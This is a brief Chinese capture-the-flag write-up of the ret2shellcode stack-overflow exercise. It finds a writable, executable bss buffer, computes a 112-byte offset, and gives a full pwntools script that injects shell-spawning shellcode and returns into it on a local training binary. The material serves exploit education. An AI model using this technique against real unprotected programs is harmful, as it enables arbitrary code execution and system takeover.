wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
什么保护都没有
把文件放入ida F5一下
把输入的s复制到了buf2
发现buf2在bss段,buf2地址为0x0804A080,检查一下buf2是否可写(通常都是可写的),因为没开保护,我们可以直接写入shellcode
输入命令gdb ./ret2shellcode,r运行,然后用ctrl+c打断一下,输入vmmap,可以查看buf2所在的区间0x0804a000到0x0806c000的权限为rwxp,w为可写
image.png
先算出偏移量112
写一下脚本
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2 = 0x0804A080
payload = shellcode.ljust(112, 'A') + p32(buf2)
p.sendline(payload)
p.interactive()
运行一下 python ./ret2shellcode.py
大功告成!